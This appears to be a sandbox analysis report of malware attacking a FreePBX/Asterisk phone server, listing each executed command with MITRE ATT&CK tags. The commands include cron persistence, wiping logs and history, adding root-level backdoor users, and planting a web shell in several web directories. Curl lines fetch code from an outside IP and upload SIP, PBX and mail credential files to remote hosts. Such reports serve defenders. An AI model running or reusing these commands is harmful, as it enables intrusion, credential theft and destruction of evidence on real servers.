/usr/bin/chattrchattr +i /var/cache/.fontconfig/.cfg3⤵
-
-
/usr/bin/dirnamedirname /etc/.ssl/.cert3⤵
-
-
/bin/mkdirmkdir -p /etc/.ssl3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /etc/.ssl/.cert3⤵
-
-
/usr/bin/dirnamedirname /root/.config/.pref3⤵
-
-
/bin/mkdirmkdir -p /root/.config3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chattrchattr +i /root/.config/.pref3⤵
-
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/findfind /var/log -name "*.log" -exec sh -c "cat /dev/null > {}" ";"3⤵
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/user.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/daemon.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/dpkg.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/kern.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/auth.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/history.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/apt/term.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/fontconfig.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/audit/audit.log"4⤵
- Deletes Audit logs
-
/bin/catcat /dev/null5⤵
-
-
-
/usr/local/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/local/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/usr/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/sbin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
-
-
/bin/shsh -c "cat /dev/null > /var/log/alternatives.log"4⤵
- Deletes log files
-
/bin/catcat /dev/null5⤵
-
-
-
-
/bin/rmrm -rf "/var/log/secure*" /var/log/messages /var/log/auth.log "/var/log/httpd/*" "/var/log/nginx/*" "/var/log/apache2/*"3⤵
- Deletes system logs
- Deletes log files
-
-
/bin/rmrm -f /root/.bash_history /root/.zsh_history3⤵
-
-
-
/usr/bin/curlcurl http://160.119.69.4/x -ks2⤵
- Checks CPU configuration
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
- Reads runtime system information
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx3⤵
- Adds a user to the system
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/sbin/useradduseradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax3⤵
- Adds a user to the system
-
-
-
/bin/mkdirmkdir -p /var/www/html/rest_phones/2⤵
- Reads runtime system information
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/h/2⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/fpbxphones/2⤵
- Reads runtime system information
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/phones/2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/h.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php2⤵
- Reads runtime system information
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php2⤵
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php2⤵
- Reads runtime system information
-
-
/bin/cpcp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php2⤵
- Reads runtime system information
-
-
/usr/bin/touchtouch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php2⤵
-
-
/bin/chmodchmod +x /var/www/html/admin/views/ajax.php2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/chattrchattr +i /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/admin/views/ajax.php2⤵
-
-
/usr/bin/chattrchattr +i /var/www/html/h.php2⤵
-
-
/usr/bin/chattrchattr +a /var/www/html/h.php2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /tmp/test.sh2⤵
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /tmp/test.sh2⤵
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash /var/spool/asterisk/tmp/test.sh2⤵
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
/bin/mkdirmkdir -p /var/www/html/admin/modules/freepbx_ha/3⤵
- Reads runtime system information
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/rmrm -f /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/mvmv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php3⤵
-
-
/bin/lsls -la3⤵
-
-
/usr/bin/base64base64 -d3⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/lsls -la3⤵
-
-
/bin/catcat /etc/passwd3⤵
-
-
/bin/lsls -ls /home3⤵
-
-
-
/bin/rmrm -rf /var/spool/asterisk/tmp/test.sh2⤵
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
-
-
/bin/bashbash2⤵
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/curlcurl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
-
-
/usr/bin/curlcurl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 153⤵
- Checks CPU configuration
- Reads runtime system information
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Modify Authentication Process
1Pluggable Authentication Modules
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2Boot or Logon Initialization Scripts
1RC Scripts
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
Deobfuscate/Decode Files or Information
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Indicator Removal
3Clear Linux or Mac System Logs
3Modify Authentication Process
1Pluggable Authentication Modules
1Virtualization/Sandbox Evasion
1System Checks
1Credential Access
Modify Authentication Process
1Pluggable Authentication Modules
1OS Credential Dumping
1/etc/passwd and /etc/shadow
1Replay Monitor
Loading Replay Monitor...
Downloads
group+
group+
group+
group+
group+
group+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
gshadow+
passwd
passwd+
passwd+
passwd+
passwd+
passwd+
passwd+
sed7jaUgf
sedCyU19W
sedno4Dq0
shadow+
shadow+
shadow+
shadow+
shadow+
shadow+
sed1Fh9W6
seddt3EMe
subuid+
subuid+
subuid+
subuid+
subuid+
.bash_logout
.bashrc
.profile
.bash_profile
.bash_profile
test.sh
.cache
tmp.2osafL
tmp.6ke9TO
tmp.DfDRit
tmp.E0Lswe
tmp.G29axL
tmp.RC4E5p
tmp.ROJtZf
tmp.XXmfii
tmp.egT4VM